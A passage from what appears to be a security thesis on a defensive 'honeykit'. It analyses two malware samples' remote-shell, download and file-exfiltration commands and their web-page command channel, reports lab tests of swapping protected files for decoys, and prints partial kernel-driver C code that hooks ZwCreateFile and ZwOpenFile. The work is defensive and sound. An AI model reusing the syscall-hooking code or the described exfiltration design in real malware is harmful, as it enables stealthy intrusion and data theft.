attacker what directory they are currently in. Given this information the attacker now has 
the ability to explore the compromised computer’s file system by issuing commands that 
will be run by FILE0. If a change directory command  (“cd”) is recognized FILE0 
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implements this command using the standard function call chdir. If either “quit” or “exit” 
are sent to FILE0 the !Conn connection is closed and FILE0 returns to accept another 
command from the webpage. If none of the above commands are recognized the 
command string is sent to the Windows command shell (cmd.exe). 
 
Command FILE0 Response 
cd Execute the change directory command using the standard 
function call chdir. 
quit Close remote connection and return to accept one of the four 
high level commands. 
exit Close remote connection and return to accept one of the four 
high level commands. 
all others Pass the exact string to the Windows command shell 
(cmd.exe) 
Table 1.   FILE0 Remote Shell execution 
 
 
The result from this command is encrypted and sent to the attacker’s computer 
and FILE0 enters into a loop to receive further commands. The attacker has effectively 
created a shell on the compromised system and now has the ability to explore the file 
system and execute commands that will further monitor and modify the state of the 
compromised computer. 
FILE0 does very little to hide its presence of the compromised system, in fact 
during testing it was observed that FILE0 continuously polls the website for commands, 
and as a result uses a large amount of processor time. FILE0 also generates a large 
amount of unexpected network traffic on the compromised system. For these reasons 
FILE0 would be easily detected and thus a perfect candidate for monitoring using the 
honeykit. Details of the analysis of the software’s ability to successfully intercept and 




C. FILE1: DEFAULT4.GIF 
This section will detail the second malicious file that was analyzed. This second 
file is the file that is downloaded when the !Fire command is issued to FILE0. The details 
of its startup procedure will be provided as well as the commands that it accepts, and the 
connection sequence used to operate the command that was chosen to test the honeykit. 
Rather than referring to the file by its full name FILE1 or “sample” will be used when 
talking about default4.gif. 
FILE1 contains a more robust set of features, along with a more discrete method 
of passing data from the comprised machine to the attacker. FILE1 first determines 
whether or not the compromised system is connected to the Internet using the Microsoft 
API function InternetGetConnectedState [7]. If there is no Internet connection available 
the sample will enter a loop that sleeps and repeats the check for an Internet connection. 
Once a connection has been detected, FILE1 constructs and sends an HTTP GET request 
for the file “index.html” on a remote web server. If the sample receives an HTTP status 
code of 200 it then creates a thread to handle commands issued by the attacker. 
Inside this thread, FILE1 reads the data that was returned by the original HTTP 
GET request and searches for a substring that beings with the character string value=” 
and ends with the character string ”>. The following figure is an example of a simple 






Figure 3.   Example index.html 
 
<html> 
<body value=”command string”> 
 





The sample then takes the string contained in this value field and BASE64 
decodes [18] and decrypts it. For the purpose of communicating with FILE1 the 
encryption scheme has been successfully reverse engineered, however for purpose of this 
discussion it is not necessary to know the details of this process. The derived plain text 
string contains a command number and optional parameters for the command to be 





0,3,8 Sleep for 50 milliseconds and return to the loop to accept 
additional commands 
1 Setup a remote command shell using the Windows 
Command shell (cmd.exe). This command operates in a 
similar fashion to the !Conn command described above. 
2 Send a command to the command shell that was created by 
command 1. If command 2 is executed before command one, 
it has no effect. 
4 Exit the thread used to handle commands, and exit the 
program. 
5 Convert an ASCII string to its floating point representation 
and store the result in a global variable that is used to 
determine the sleep time. 
6 WGET – a command that requests and receives a binary file 
across the Internet 
7 Read a file from the compromised system. Given a path to 
the file this command will read the file and send it to the 
attacker. 
9 Set a global flag, which is used to determine the sleep delay 
in command 7. 
Table 2.   FILE1 Command Response 
 
 
Both commands 1 and 7 perform functions that are of interest to this thesis. 
However, since a client was already written for !Conn command implemented in FILE0 
the second test will concentrate on the operation of command 7. 
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The following is a figure of a typical interaction with FILE1 that is intended help 
the reader understand the description of an execution of command 7. As in Figure 2 each 
vertical line represents a computer. In this figure the first and second lines represent the 
two different web pages on the same web server. The index.html page is where the 
compromised machine retrieves it commands, and the Post.asp page is where the 
compromised machine puts the results of the command. 
 
 
Figure 4.   Command 7 Execution 
 
The connection formed using command 7 begins with the compromised computer 
requesting the index.html file from the commanding website. When the compromised 
machine receives the results of this request it locates the value field and extracts the 
command issued by the attacker. In this case we are issuing command number 7. This 
command takes two parameters; the seek distance, which will be explained shortly, and 
the full path file- name. 
After receiving this information FILE1 retrieves the requested file using the 
Windows API CreateFile with a creation disposition of OPEN_EXISTING. This call will 
return a handle to the file if it exists or an error code if it does not. FILE1 sends the 
requested file to the attacker using an HTTP POST to the Post.asp page on the 
commanding website. If the file size is larger the 4 KB the read and post process is 
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repeated in steps of 4 KB until the file is sent in its entirety. Once the file has been sent, 
FILE1 is ready to receive another command. The seek distance parameter can be used to 
index into the returned file and return only the proceeding data. This distance should be 
set to zero if the attacker wishes to retrieve the entire file. 
Much like FILE0, FILE1 uses an easily reverse engineered encryption scheme 
that was most likely implemented for the purpose of passing through Intrusion Detection 
Systems.  In order to read the posted file this encryption scheme has been successfully 
reverse engineered as well, however the process will not be detailed in this chapter.  
In addition to accepting a larger variety of commands, FILE1 also makes a better 
attempt at disguising its presence on a system. Although the process can be seen with the 
Windows process manager, it is more likely to be accepted as a common application. 
FILE1 also makes a greater effort to disguise its communications traffic by using the 
HTTP protocol. However, a trained eye would still easily recognize the presence of 
FILE1, which makes FILE1 another perfect candidate for monitoring using the honeykit. 
Details of the analysis of the software’s ability to successfully intercept and replace file 
requests can be found in Chapter V.  
This chapter has described the process that was used to select a malicious code 
sample, and provided details on the sample that was selected. The details provided in this 
chapter should give the reader sufficient knowledge to understand the experiment and 
results discussed in Chapter V.  
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V. EXPERIMENT DESIGN AND RESULTS 
This chapter will discuss the experiments that were performed to test the 
effectiveness of the honeykit. These tests were performed on the honeykit using four 
different methods of accessing a file: 
• An access from simple file transfer program written for testing purposes. 
• An access from the local system on which the honeykit is running 
• An access by a remote connection via FILE0. 
• An access by a remote connection via FILE1. 
In each of these test environments the effectiveness of the honeykit was analyzed 
using two conditions; first the ability for the honeykit to correctly handle a request for a 
file that was not blocked, and second the ability for the honeykit to correctly handle a 
request for a file that was blocked. A positive result from the first test demonstrates that 
the honeykit is not blocking requests for files that it should not be. A positive result from 
the second test shows that the honeykit is protecting the files that it should be protecting. 
What follows are the results of these tests in each of the operating environments 
described. In the case of a failed test the reasons for the failure are described, and the 
modifications made to the honeykit to correct the result are explained. 
A. INITIAL ANALYSIS AND RESULTS 
Initial testing was done using a simple file transfer program that was written for 
the purpose of this thesis. This program listens for connections on port 3490, once a 
client has connected it can issue the command “GET filename” where file name is the 
full path name for the file requested. The simple file transfer program uses a call to open 
from the C standard library to retrieve the file requested. For testing purposes the simple 
file transfer program was loaded on to the Microsoft Windows XP virtual machine used 
to develop and test the honeykit. A connection to the simple file transfer program was 




Figure 5.   Simple File Transfer Network Layout 
 
 
Through initial analysis it was determined that the open call utilizes the Windows 
API call ZwCreateFile, with the creation disposition set to FILE_OPEN. By monitoring 
the interaction of the honeykit with the Windows kernel and comparing the result of an 
unaltered request for a file to a number of attempts to switch the file being requested it 
was found that the only way to achieve a successful request an alternate file was to 
directly modify the ObjectName field within the ObjectAttributes structure that was 
passed to the ZwCreateFile call. The figure below provides the layout of both the 
ObjectAttributes structure and the UnicodeString member that contains the name of the 
requested file. The Buffer field within the UnicodeString contains the filename and the 
Length field contains the Unicode length of the filename.  
 
 
Figure 6.   ObjectAttributes Structure Design [12] 
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Despite a number of attempts to replace the entire ObjectName with a 
UnicodeString constructed by the honeykit, the original ZwCreateFile to would not return 
successfully. However, if the Buffer field of the UnicodeString was modified to contain 
the replacement file, and the Length attribute was adjusted accordingly a successful was 
obtained. This successful return meant that it was possible to control access to files by 
replacing the file name requested with another file that had been OK’ed to be shared with 
the attacker. After successfully being able to replace a blocked file, the honeykit’s ability 
to correctly return a file that has not been blocked was tested, and the desired result was 
received. 
Given this initial success the honeykit’s ability to replace files accessed by other 
common applications was tested. During this second phase of testing the honeykit’s 
performance when attempting to access a file with a standard Windows application 
(notepad.exe), and the standard Windows command shell (cmd.exe) was evaluated. The 
first application was chosen in order to evaluate the effect of the honeykit on a standard 
application being run on the local system. The second application was chosen as it is 
commonly used by attackers. Attackers chose this application because it is present on all 
Windows machines and allows the attacker to gain knowledge of the layout of the file 
system and identify interesting files for exfiltration.  
The Windows application notepad.exe performed as expected with no 
modification to the design of the honeykit. During testing the honeykit both successfully 
replaced a blocked file and allowed access to a file that was not blocked.   
To test the ability of the honeykit to replace files requested by the Windows 
command shell the command “type filename” was used. This command allows the user 
to view the contents of any file, however, all content is interpreted as ASCII text when 
printed to the command shell. As a result, performance was tested using files containing 
only ASCII content. In the first attempt to access a blocked file the type command 
returned the file that was supposed to be blocked.  
By analyzing debug statements placed in the honeykit the problem was 
immediately identified; when the type command was executed it was requesting only 
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the file name and not the full file path. As described in Chapter III the configuration file 
parsed by the honeykit contains a list of blocked files, and each of these files is identified 
by its full path name. So when the honeykit was checking the requested file against the 
blocked file names it was comparing the file name against the full file path, and thus not 
finding a match.  
Modifying the honeykit to check only the file name and not the full path would 
have been an easy fix, however, by doing this we lose the ability to separate files with 
identical names in different directories. Fortunately, hooking calls to ZwOpenFile 
showed that the cmd.exe application requests a file by calling ZwOpenFile immediately 
followed by a call to ZwCreateFile.  The ZwOpenFile call is actually used to open the 
directory, which contains the file being requested, and the ZwCreateFile call requests the 
actual file.  
Given this sequence of calls the check against the full file path was maintained by 
storing the directory requested in the call to ZwOpenFile, and reconstructing the full file 
path before checking the requested file against the blocked files list. After this 
modification the honeykit was able to successfully recognize blocked files. The 
replacement of the file name for files that did not include the full file path was also 
modified. For files that did not contain a full file path the “_rple_” file prefix was simply 
prepended, instead of having to located the beginning of the file name and insert “_rple_” 
prefix in the correct location. After making these modifications to the honeykit it 
successfully replaced blocked files accessed by the Windows command shell.  
In a very active system this modification has the potential to create a race 
condition in which the global variable storing the directory is over written prior to the 
check and/or replacement of the file. If the global variable is overwritten prior to the 
check for the file it is possible that he protected file will be released. If the global variable 
is overwritten after the check, but before the replacement, this could either result in 
replacement with a different OK’ed file or a file not found error. This condition was 
neither explicitly tested, nor observed in the process of testing the honeykit. A possible 
solution to this problem is discussed in the future work section. 
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Initial experimentation encompassed a variety of attempts to access a protected 
file, each of which was eventually met with success. The success of these initial 
experiments left me confident that the honeykit would correctly replace files requested by 
an attacker through malicious code.   
B. FILE0 CONNECTION ANALYSIS AND RESULTS 
As mentioned in Chapter IV the !Conn command issued to FILE0 was chosen for 
analysis. In this section a brief review of the communications involved in this connection 
will be given, this will be followed by the details of the success of the honeykit in 
blocking requests for protected files. 
In this connection the attacker first issues the !Conn command to the malware 
sample through the website that he or she controls. As part of this command the attacker 
supplies an IP address and port of a remote computer that the malware sample will 
communicate with. The malware processes this command and makes a connection to the 
attacker’s client. Using this connection the attacker is able to communicate as if he or she 
was running the Windows command shell on the compromised computer. The malicious 
code is actually using the cmd.exe application to execute the commands that the attacker 
is sending to it, for this reason testing the honeykit’s ability to replace files requested by 
the !Conn connection was identical to testing the cmd.exe application on the local 
system. 
In order to prove that the honeykit was successfully replacing files requested by 
the attacker using the !Conn remote shell a virtual machine running the Debian operating 
system was downloaded from the Virtual Appliance Marketplace[19]. After getting the 
virtual machine running, the Debian package management tool, apt-get, was used to 
install the Apache 2.0 web server. This virtual machine was then placed on the same 
host-only network as the “compromised” Windows XP virtual machine. The next step 
was to have the malware connect to the web server. This was accomplished by editing the 
hosts file, and telling the malware that the website it was looking to connect to was 
located at the IP address of the web server. Once the malware requesting was files from 
this web server, the default4.htm file that FILE0 requests was added to the web server’s 
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home directory. Finally, by placing the !Conn command string in the default4.htm file the 
malware was instructed to open the connection to the client, running on a second Debian 
virtual machine that was setup on the same host-only network as the web server and 
“compromised” machine. Below is a figure depicting the virtual network layout for this 
experiment. 
 
Figure 7.   FILE0 Experiment Network Design 
 
This client was used to successfully interact with the malware sample and request 
access to a blocked file. As expected the honeykit was able to successfully recognize the 
request and replace the requested file with an alternative file. The client was also able to 
successfully request a file that was not blocked by the honeykit. 
C. FILE1 CONNECTION ANALYSIS AND RESULTS 
As mentioned in Chapter IV, the integer command 7 issued to FILE1 was chosen 
for analysis. In this section a brief review of the communications involved in this 
connection will be given, this will be followed by the details of the success of the 
honeykit in blocking requests for protected files. 
Similar to FILE0, FILE1 also makes a connection to a website, because FILE1 
requested different files from the website that it communicates with this experiment was 
 39
able to utilize the same web server that had been setup for the FILE0 client. Unlike 
FILE0, FILE1 accesses its website through a IP address hard coded in the binary file. In 
order to get FILE1 to make requests from the web server the ASCII representation of the 
IP address to which it makes its connection was located and the address within the binary 
itself was modified to point to the web server. After making this modification FILE1 
began making requests to this web server, and the malware sample was supplied with an 
appropriate value string as discussed in Chapter IV. In order to pass an appropriate 
encrypted and BASE64 encoded value string a C program that created an appropriate 
value string to execute command 7 was written, the program included the option to 
modify the file requested (Appendix: gen_string.c). Placing this string in the value field 
that is used by FILE1 resulted in a successful file request. 
Given the unique method of file exfiltration implemented by FILE1 (described in 
Chapter IV) the decision was made to capture the network traffic generated by the POST 
command in FILE1 rather than setup the Active Server Page used by the malware 
sample. The malware makes no check for the presence of this page before sending out its 
traffic, and capturing the network traffic rather than designing the requested page in no 
way compromises the results of the analysis. Because the POST content was encrypted, a 
custom packet capture and decryption tool was needed. WinPcap version 3.01 was used 
to capture and decrypt packet traffic [20]. The pktdump example found in the WinPcap 
developers’ package was modified. This program was originally designed to capture 
packets and store them in a dump file, for testing purposes the ability to filter packets 
based on the Berkeley Packet Filter syntax was added, along with specific checks to 
recognize a packet sent by FILE1 that contained a file that was being exfiltrated. The 
packet-capturing program was run on the host machine, and was used to capture traffic 
seen on the Virtual Machine host network. After these packets are recognized, their 
contents are decrypted using advanced knowledge of the packet structure, gained by 
reverse engineering the malware sample. The results are then output to a file in the 
directory in which the traffic sniffer is running. Full source code for the packet filter can 




Figure 8.   FILE1 Network Design 
 
Reverse engineering FILE1 showed that it uses the Window’s API call CreateFile, 
with a create disposition flag of OPEN_EXISTING. This call meant that the honeykit 
would almost certainly successfully intercept the file request.  As expected, the packet 
capturing and decrypting software showed that the honeykit was successfully blocking 
requests for protected files, while allowing requests for permitted files. 
This chapter has provided an analysis of the ability of the honeykit to restrict 
access to protected information contained on a compromised computer. Because the 
design decision was made to deny all programs access to the protected files by default, 
allowing only those explicitly defined in the configuration file, additional testing was 
performed on the operations of the local machine. It was found that by adding an 
application to the configuration file and adjusting the number of allowed programs 
accordingly the honeykit correctly allowed that application to access blocked files.  
Through extensive testing, both on the local system, and through a remote 
connection from a malware sample it has been demonstrated that it is possible to protect 
specific files. The test result show that the honeykit will both protect blocked files and 
allow access to those that are not blocked, with little to no effect on the use of the local 
system. Without prior knowledge of the file contents an attacker would have no way of 
knowing that the file replacement was taking place.   
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VI. CONCLUSION AND FUTURE WORK 
A. SUMMARY 
The goals of the thesis were to present a new methodology for gaining 
intelligence on the attacker through the observation of the malware sample under active 
control, to develop software that would allow the sample to be actively controlled without 
the threat of exposing valuable information, and finally to provide a proof of concept 
using an actual malware sample. Each of these goals was addressed and the proof of 
concept experimentation demonstrated the ability to protect valuable information. 
Although the Anti-Hacker Honeykit does not provide full protection from a malware 
sample it presents a new method of protecting a system from the effect of malware, and 
provides a step in the right direction. The Anti-Hacker Honeykit also provides the ability 
to present false information to an interested attacker. By providing the opportunity to 
encourage additional connections from an attacker, the Anti-Hacker Honeykit also 
provides the opportunity to collect the data associated with these connections. Through 
the collection of this additional data it may be possible to track down the source of an 
attack.  
Malicious code development and analysis is a field that is continuously changing. 
With the large number of unprotected systems that have persistent Internet connections, 
the attackers currently have the upper hand. Analysts and developers of virus protection 
applications are consistently trying to keep on top of the most recent attacks. By 
continuing research in the field of protecting systems from attackers, and developing 
research in the field of the attribution of attacks we can close in on the attackers from 
both sides. Research in protecting systems from attack will prevent the attackers from 





B. FUTURE WORK 
This thesis showed that the development of software to protect the exfiltration of 
files was feasible. However, to completely protect the compromised system, as well as 
other systems that are on the same network, additional work is needed. The following is a 
list of improvements that could be made to the Ant-Hacker Honeykit: 
• Configuration file protection – The configuration file is currently hidden 
using the _rple_ prefix, however it is still present on the system, and can 
be accessed if it is known to exist. If this file was to be modified and the 
Anti-Hacker Honeykit was reloaded an attacker could potential place their 
program in the list of authorized applications. One possible solution would 
be to encrypt this file to prevent modifications. 
• Automated configuration and loading – the current version of the Anti-
Hacker Honeykit is configured by manually editing a text file, and loaded 
using Driver Installer 1.0 by WinEggDrop [15]. The honeykit would 
ideally exist as a resource in a Windows executable that would provide the 
user with a configuration interface and automate the loading of the 
Honeykit. This also decreases the need for a configuration file to be 
present on the system. 
• Re-hooking protection – attackers may try to hook the same functions 
that the Anti-Hacker Honeykit is hooking, and/or discover its presence. 
Currently to insure the execution of the hooks, the Honeykit must be 
loaded before an attacker’s rootkit.  Guaranteeing the execution of the 
Honeykit hooks in this situation is a difficult problem, but one that should 
be explored.  
• Remove version dependency – The operation of thee current version of 
the Anti-Hacker Honeykit depends of the version of Microsoft Windows it 
is being run on. The ability to remove this dependecy should be explored 
in the context of the Anti-Hacker honeykit. 
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• Remove race condition – As described in Chapter V current version of 
the Anti-Hacker Honeykit contains a race condition that may lead to the 
exposure of a protected file. This condition could possibly be eliminated 
by using the current working directory listing in the PEPROCESS 
structure, rather than relying on the consecutive calls to ZwOpenFile and 
ZwCreateFile. 
In addition to the modifications to improve the function of the Anti-Hacker 
Honeykit the following additional protections should be developed before this technology 
is put into practice: 
 
• Keystroke logging protection – the logging of user keystrokes is another 
common method used by attackers to capture proprietary information. 
Although this capability is not present in all malware it is an important one 
to protect against. Feeding the attacker false keystrokes would be very 
hard to do effectively; however, this area should be explored, as it may be 
crucial to keeping an attacker’s interest. 
• Updates to malicious code – Attackers may have the ability to place files 
on the compromised system that will update their malware with additional 
functionality. It is important that we monitor these updates and ensure that 
they do not compromise our ability to run the malware in a protected state. 
• Decoy file generation – The Anti-Hacker Honeykit currently requires a 
one-to-one mapping of protected and decoy files. This property may be 
necessary to deceive the attacker, but it also generates a large amount of 
work in creating the decoy files. Research should be done to automate this 
generation; possible methods could include replacing keywords in the 
original file with “clean” alternates. 
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Before running this technology on a live system, most, if not all, of these updates 
should be implemented. It is also strongly suggested that the software first be testing in a 
honeypot before implementing it on live systems. 
Finally, while developing the Honeykit with the intention of protecting the 
exfiltration of files, an interesting and potentially useful side effect was realized. Because 
the calls to ZwCreateFile and ZwOpenFile return a handle to the file, rather than the 
contents of a file, these calls can also be used to protect operating system files from being 
overwritten. If an attacker were to attempt to overwrite a protected file they would be 
returned a handle to the decoy file, and thus overwrite the decoy file rather than the 
operating system file. Furthermore, if an attacker were to view their replaced file they 
would again receive a handle to the decoy file, and could only assume that the 
replacement was successful. This result presents an interesting, new method of protecting 







APPENDIX: SOURCE CODE 
A.  ANTI-HACKER HONEYKIT V0 
/****** 
** Developed by Ed Murphy 
**  
** Anti-Hacker Honeykit v0 
** Once loaded into kernel space this program will intercept 
** calls to open files. It is intended to protect files containing 
** proprietary information from exfiltration by an attacker. 
** 
** Portions of this code are courtesy of the rootkit design tutorials 
** that can be found on the site www.rootkit.com. These tutorials were  








#define DWORD unsigned long 
#define WORD unsigned short 
#define BOOL unsigned long 
 
// Length of process name (rounded up to next DWORD) 
#define PROCNAMELEN     20 
// Maximum length of NT process name 
#define NT_PROCNAMELEN  16 
#define MAXFILES    512 
#define MAXPROCS    256 




int index=0, pNums[MAXPROCS], numBlock=0, numProcNums=0; 
int numProcNames=0; 







typedef struct _FILETIME { // ft  
    DWORD dwLowDateTime;  
    DWORD dwHighDateTime;  




typedef struct ServiceDescriptorEntry { 
 unsigned int *ServiceTableBase; 
 unsigned int *ServiceCounterTableBase; //Used only in checked build 
 unsigned int NumberOfServices; 
 unsigned char *ParamTableBase; 
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} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; 
#pragma pack() 
 
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable; 





 LARGE_INTEGER  KernelTime; 
 LARGE_INTEGER  UserTime; 
 LARGE_INTEGER  CreateTime; 
 ULONG    WaitTime; 
 PVOID    StartAddress; 
 CLIENT_ID   ClientIs; 
 KPRIORITY   Priority; 
 KPRIORITY   BasePriority; 
 ULONG    ContextSwitchCount; 
 ULONG    ThreadState; 





 ULONG    NextEntryDelta; 
 ULONG    ThreadCount; 
 ULONG    Reserved[6]; 
 LARGE_INTEGER  CreateTime; 
 LARGE_INTEGER  UserTime; 
 LARGE_INTEGER  KernelTime; 
 UNICODE_STRING  ProcessName; 
 KPRIORITY   BasePriority; 
 ULONG    ProcessId; 
 ULONG    InheritedFromProcessId; 
 ULONG    HandleCount; 
 ULONG    Reserved2[2]; 
 VM_COUNTERS   VmCounters; 
 IO_COUNTERS   IoCounters; //windows 2000 only 





typedef enum _WXPFILE_INFORMATION_CLASS { 
// end_wdm 
    FileDirectoryInformation         = 1, 
    FileFullDirectoryInformation,   // 2 
    FileBothDirectoryInformation,   // 3 
    FileBasicInformation,           // 4  wdm 
    FileStandardInformation,        // 5  wdm 
    FileInternalInformation,        // 6 
    FileEaInformation,              // 7 
    FileAccessInformation,          // 8 
    FileNameInformation,            // 9 
    FileRenameInformation,          // 10 
    FileLinkInformation,            // 11 
    FileNamesInformation,           // 12 
    FileDispositionInformation,     // 13 
    FilePositionInformation,        // 14 wdm 
    FileFullEaInformation,          // 15 
    FileModeInformation,            // 16 
    FileAlignmentInformation,       // 17 
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    FileAllInformation,             // 18 
    FileAllocationInformation,      // 19 
    FileEndOfFileInformation,       // 20 wdm 
    FileAlternateNameInformation,   // 21 
    FileStreamInformation,          // 22 
    FilePipeInformation,            // 23 
    FilePipeLocalInformation,       // 24 
    FilePipeRemoteInformation,      // 25 
    FileMailslotQueryInformation,   // 26 
    FileMailslotSetInformation,     // 27 
    FileCompressionInformation,     // 28 
    FileObjectIdInformation,        // 29 
    FileCompletionInformation,      // 30 
    FileMoveClusterInformation,     // 31 
    FileQuotaInformation,           // 32 
    FileReparsePointInformation,    // 33 
    FileNetworkOpenInformation,     // 34 
    FileAttributeTagInformation,    // 35 
    FileTrackingInformation,        // 36 
    FileIdBothDirectoryInformation,     // 37 
    FileIdFullDirectoryInformation, // 38 
    FileValidDataLengthInformation, // 39 
    FileShortNameInformation,       // 40 
        FileMaximumInformation 
// begin_wdm 




#define FileIdFullDirectoryInformation 38 
#define FileIdBothDirectoryInformation 37 
 
 
typedef struct _FILE_DIRECTORY_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    WCHAR FileName[1]; 
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; 
 
typedef struct _FILE_FULL_DIR_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    ULONG EaSize; 
    WCHAR FileName[1]; 
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; 
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typedef struct _FILE_ID_FULL_DIR_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    ULONG EaSize; 
    LARGE_INTEGER FileId; 
    WCHAR FileName[1]; 
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; 
 
typedef struct _FILE_BOTH_DIR_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    ULONG EaSize; 
    CCHAR ShortNameLength; 
    WCHAR ShortName[12]; 
    WCHAR FileName[1]; 
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; 
 
typedef struct _FILE_ID_BOTH_DIR_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    LARGE_INTEGER CreationTime; 
    LARGE_INTEGER LastAccessTime; 
    LARGE_INTEGER LastWriteTime; 
    LARGE_INTEGER ChangeTime; 
    LARGE_INTEGER EndOfFile; 
    LARGE_INTEGER AllocationSize; 
    ULONG FileAttributes; 
    ULONG FileNameLength; 
    ULONG EaSize; 
    CCHAR ShortNameLength; 
    WCHAR ShortName[12]; 
    LARGE_INTEGER FileId; 
    WCHAR FileName[1]; 
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; 
 
typedef struct _FILE_NAMES_INFORMATION { 
    ULONG NextEntryOffset; 
    ULONG FileIndex; 
    ULONG FileNameLength; 
    WCHAR FileName[1]; 










     OUT PHANDLE FileHandle, 
     IN ACCESS_MASK DesiredAccess, 
     IN POBJECT_ATTRIBUTES ObjectAttributes, 
     OUT PIO_STATUS_BLOCK IoStatusBlock, 
     IN ULONG ShareAccess,  
     IN ULONG OpenOptions); 
      
typedef NTSTATUS (*ZWOPENFILE)( 
  PHANDLE FileHandle, 
  ACCESS_MASK DesiredAccess, 
  POBJECT_ATTRIBUTES ObjectAttributes, 
  PIO_STATUS_BLOCK IoStatusBlock, 
  ULONG ShareAccess, 





 OUT PHANDLE FileHandle, 
 IN ACCESS_MASK DesiredAccess, 
 IN POBJECT_ATTRIBUTES ObjectAttributes, 
 OUT PIO_STATUS_BLOCK IoStatusBlock, 
 IN PLARGE_INTEGER AllocationSize OPTIONAL, 
 IN ULONG FileAttributes, 
 IN ULONG ShareAccess, 
 IN ULONG CreateDisposition, 
 IN ULONG CreateOptions, 
 IN PVOID EaBuffer OPTIONAL, 
 IN ULONG EaLength 
); 
      
typedef NTSTATUS (*ZWCREATEFILE)( 
 PHANDLE FileHandle, 
 ACCESS_MASK DesiredAccess, 
 POBJECT_ATTRIBUTES ObjectAttributes, 
 PIO_STATUS_BLOCK IoStatusBlock, 
 PLARGE_INTEGER AllocationSize OPTIONAL, 
 ULONG FileAttributes, 
 ULONG ShareAccess, 
 ULONG CreateDisposition, 
 ULONG CreateOptions, 
 PVOID EaBuffer OPTIONAL, 







        IN HANDLE hFile, 
        IN HANDLE hEvent OPTIONAL, 
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, 
        IN PVOID IoApcContext OPTIONAL, 
        OUT PIO_STATUS_BLOCK pIoStatusBlock, 
        OUT PVOID FileInformationBuffer, 
        IN ULONG FileInformationBufferLength, 
        IN FILE_INFORMATION_CLASS FileInfoClass, 
        IN BOOLEAN bReturnOnlyOneEntry, 
        IN PUNICODE_STRING PathMask OPTIONAL, 
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        IN BOOLEAN bRestartQuery 
); 
 
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)( 
    HANDLE hFile, 
        HANDLE hEvent, 
        PIO_APC_ROUTINE IoApcRoutine, 
        PVOID IoApcContext, 
        PIO_STATUS_BLOCK pIoStatusBlock, 
        PVOID FileInformationBuffer, 
        ULONG FileInformationBufferLength, 
        FILE_INFORMATION_CLASS FileInfoClass, 
        BOOLEAN bReturnOnlyOneEntry, 
        PUNICODE_STRING PathMask, 









in:  char *procName - a process name 
    int procNum - a process number 
return: 0 = do not hook process 
    1 = hook process 
 
This function takes a process name OR process number 
and determines whether or not it should be hooked. 
*******************************************************/ 
int checkHookedProcesses(char *procName, int procNum){ 
 int i=0; 
 int success=0; 
  
 //check process name 
 while(i < numProcNames && !success){ 
  if(strcmp(procName, pNames[i])==0) 
   success=1; 




 //check process number 
 while(i < numProcNums && !success){ 
  if(procNum == pNums[i]){ 
   success=1; 
  } 
  i++; 
 } 
  
 //if both are equal to 0 hook all processes 
 if(numProcNames == 0 && numProcNums == 0) 
  success=1; 
   










in:  POBJECT_ATTRIBUTES ObjectAttributes - pointer to the 
   struct of attributes defining the object requested 
return: 0 = blocked filename match 
    != 0 no filename match 
 
This function takes a pointer to the ObjectAttributes that  
define the file being requested and checks the name against 
a list of blocked files. It returns 0 if the file should 
be blocked. 
*******************************************************/ 
int MyCheckFileName(POBJECT_ATTRIBUTES ObjectAttributes){ 
 UNICODE_STRING us,dir_us; 
 ANSI_STRING as; 
 int cmpstat=-2,i=0,nodir=0; 
 
 if(ObjectAttributes->ObjectName->Buffer[0]!='\\'  
          && lastDir != NULL){ 
  /* No directory listing we need to check the directory seperately */ 
  nodir=1; 
  as.Length= (USHORT) strlen(lastDir); 
  as.MaximumLength = 540; 
  as.Buffer=ExAllocatePool(NonPagedPool, 
        sizeof(char)*as.MaximumLength); 
  strncpy(as.Buffer,lastDir,as.Length); 
  dir_us.Length=(USHORT) strlen(lastDir); 
  dir_us.MaximumLength=540; 
  dir_us.Buffer=ExAllocatePool(NonPagedPool, 
        sizeof(char)*as.MaximumLength); 
  RtlAnsiStringToUnicodeString(&dir_us,&as,0); 
  RtlAppendUnicodeStringToString(&dir_us, 
         ObjectAttributes->ObjectName); 
  RtlFreeAnsiString(&as); 
 } 
  
 while(cmpstat != 0 && i<numBlock){ 
  as.Length= (USHORT) strlen(blockNames[i]);  
  as.MaximumLength = 540; 
  as.Buffer=ExAllocatePool(NonPagedPool, 
       sizeof(char)*as.Length); 
  strncpy(as.Buffer,blockNames[i],as.Length); 
  RtlAnsiStringToUnicodeString(&us, &as,1); 
  if(nodir){ 
   cmpstat=RtlCompareUnicodeString(&dir_us,&us,1); 
  }else{ 
   cmpstat=RtlCompareUnicodeString(ObjectAttributes-
